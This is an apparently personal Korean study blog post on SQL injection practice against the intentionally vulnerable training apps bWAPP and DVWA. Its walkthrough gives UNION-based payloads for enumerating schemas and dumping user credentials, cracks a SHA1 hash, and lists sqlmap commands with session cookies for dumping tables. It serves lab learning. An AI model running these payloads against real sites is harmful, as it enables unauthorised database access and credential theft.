IT 공부용

3. SQL Injection 본문

▶ 모의 해킹

3. SQL Injection

호롤롤로루 2022. 9. 27. 14:40

or 1=1;

==> SQL 인젝션의 키포인트~!

 

 

SELECT height, name FROM buyTBL or 1=1 #; (Injection 구문)

 

SELECT * FROM userTBL; (개발자 쓴거)(# 있어서 여기 실행 안댐 -> 공격자 입장에서 syntax error을 안내기 위해 )

 

1. command에서 bwAPP 데이터베이스의 movie table 조회 하는데

or 1=1 을 때리면 바로 전체 movie정보 다 볼수 있음;

 

7번자리에 @@version 같은 함수 때릴수 있음

 

2. bwapp 에서 작업(SQL injection(get/search))

 

2.1 예측 

  select * from movie where title=iron man;

 

  select * from movie where where title like "%iron man%";

=> 데이터 테이블에서 조회하는 구문이 있을걸로 추정

 

2.2 url

 

http://localhost/bWAPP/sqli_1.php?title=' or 1=1&action=search

=> 개발자가 문자열에 ' " 모름

=> 둘다 시도해봄

http://localhost/bWAPP/sqli_1.php?title="or 1=1&action=search

=>  url 에는 안되네..

 

 

3. search for a movie 창에 쳐보자

' or 1=1

' union select all 1,2#

' union select all 1,2,3#

' union select all 1,2,3,4#

' union select all 1,2,3,4,5#

' union select all 1,2,3,4,5,6#

' union select all 1,2,3,4,5,6,7# //이게 되네

=> 7개 짜리 열을 가진 테이블 이네

=> 열은 7개인데 // 보여지는 테이블은 5개니까 => view or 하이퍼 링크를 추가한 것 같음

=> 열 순서, 변형해서 출력

 

'union SELECT @@version  # 이렇게 하면 안뜸 -> 1번은 빈 값

-> 2번부터 집어넣자

 

' union SELECT 1,@@version, database(), @@datadir, user(), 6,7 #

버전, 데이터베이스 이름, 데이터디렉토리, 유저정보 등등 다 출력됨;

 

' union SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users' #

4. search for a movie 창에 쳐보자(2) -> 로그인 회원 정보 털기

' union SELECT 1,concat(id,login),password,email,secret,6,7 from users #

현재 로그인 한 사람의 id값

6885858486f31043e5839c735d99457f045affd0

=> 비밀번호 암호화 된 상태로 저장

 

kali로 들어가서

sudo su

hash-identifier 툴 이용

hash-identifier는 뭘로 암호화 되었는지 알려줌

sha1로 암호화 했네

 

https://sha1.web-max.ca/index.php#enter

 

SHA1 hash decrypter / decoder: Reverse lookup SHA1 hashes online with this tool

About SHA1 hashes "SHA-1 forms part of several widely used security applications and protocols, including TLS and SSL, PGP, SSH, S/MIME, and IPsec. Those applications can also use MD5; both MD5 and SHA-1 are descended from MD4. Revision control systems suc

sha1.web-max.ca

저 사이트에서 넣으면 bug라는 비밀번호값 탈취 쌉가능;

 

3. DVWA 실습(SQL Injection) - Gordon의 비번 탈취 ㄱㄱ

1. 컬럼 몇 줄인지 계속 늘려가면서 찾아봐

 

' union select 1 # 
' union select 1,2 # 

2개네~

 

2. version정보랑 database 이름 검색 ㄱㄱ

 

' union SELECT @@version, database() #  

데이터베이스 이름하고 버전 까지 알았네 

 

3. 테이블 따내자

' union SELECT table_name,1 from information_schema.columns #

users는 테이블 명

 

 

 

4. 컬럼명 이번에 따자

' union SELECT 1,column_name from information_schema.columns where table_name='users' #

users테이블의 컬럼명 다 땃다.

5. 비번 탈취 ㄱㄱ

 

 

2' union SELECT user, password from users# ' 만 치면 위에 처럼 나옴

 

이유 = ~~쿼리에 저장해놨을 껀데 그걸 return 한 값으로 돌려 놓을 때 

select ~~~ where id = ' '값인데 

' ' 안에 2' union SELECT user, password from users# ' 값이 들어감

 

실제 까보면 $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id'; 나옴

그럼 넣어보면 

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '2' union SELECT user, password from users# ''; 일케됨 

 

--------------------------------------------------------------------------------------------------------------------------------------------

SQL Injection(2)

JSON을 연동하기 위해 JQuery, AJAX를 씀

AJAX(자바스크립트와 JSON을 혼합하여 사용하는 기술)

-> 실시간 동작, php에서 RO 방식으로 데이터 사용 조회x, 실시간 동작


- 페이지 이동없이 고속으로 화면 전환 가능
- 서버 처리를 기다리지 않고 비동기 요청 가능
- 수신하는 데이터 양을 줄일 수 있음

 

1. 버퍼 스위트 키고

 

VM 밖에 firefox로 들어가서 버프스위트 키고 aaaa 입력 

입력하면 phpsessid랑 security값 나옴 여기는 title 값과 action값을 썻네

 

이제 칼리 들어가서

 

sqlmap -u "http://192.168.50.37/bWAPP/sqli_1.php?title=aaaa&action=search" -v 3 -p title --cookie "security_level=0; PHPSESSID=55071ae6b21425abe2e7ff9d67cfdbd5"  
==> DBMS 조회


sqlmap -u "http://192.168.50.37/bWAPP/sqli_1.php?title=aaaa&action=search" -v 3 -p title --cookie "security_level=0; PHPSESSID=55071ae6b21425abe2e7ff9d67cfdbd5" --dbs
==> DB 이름 조회

sqlmap -u "http://192.168.50.37/bWAPP/sqli_1.php?title=aaaa&action=search" -v 3 -p title --cookie "security_level=0; PHPSESSID=55071ae6b21425abe2e7ff9d67cfdbd5" -D bWAPP --tables   
==> 테이블 이름 조회

sqlmap -u "http://192.168.50.37/bWAPP/sqli_1.php?title=aaaa&action=search" -v 3 -p title --cookie "security_level=0; PHPSESSID=55071ae6b21425abe2e7ff9d67cfdbd5" -D bWAPP -T movies --dump
==> 테이블 내용(데이터) 조회

 

 

 

DVWA ㄱㄱ

 

 

입력하면 phpsessid랑 security값 나옴 여기서는 url에 id값을 썻네 

 


sqlmap -u "http://192.168.50.74/dvwa/vulnerabilities/sqli/?id=aaaa&Submit=Submit#" -v 3 -p id --cookie "security=low; PHPSESSID=dl5ivv0uhj33m94knuciu6vdvv"  
==> DBMS 조회


sqlmap -u "http://192.168.50.74/dvwa/vulnerabilities/sqli/?id=aaaa&Submit=Submit#" -v 3 -p id --cookie "security=low; PHPSESSID=dl5ivv0uhj33m94knuciu6vdvv" --dbs
==> DB 이름 조회

sqlmap -u "http://192.168.50.74/dvwa/vulnerabilities/sqli/?id=aaaa&Submit=Submit#" -v 3 -p id --cookie "security=low; PHPSESSID=dl5ivv0uhj33m94knuciu6vdvv" -D dvwa --tables   
==> 테이블 이름 조회

sqlmap -u "http://192.168.50.74/dvwa/vulnerabilities/sqli/?id=aaaa&Submit=Submit#" -v 3 -p id --cookie "security=low; PHPSESSID=dl5ivv0uhj33m94knuciu6vdvv" -D dvwa  -T users --dump
==> 테이블 내용(데이터) 조회

ㄱㄱ

 

 

 

 

'▶ 모의 해킹' 카테고리의 다른 글

4.1 XML Injection  (0) 2022.09.28
4. OS Command Injection / PHP code Injection  (0) 2022.09.27
2. SSI(Server Side Includes) Injection  (0) 2022.09.27
1. HTML Injection  (0) 2022.09.26
0. 이론 / 설치  (0) 2022.09.26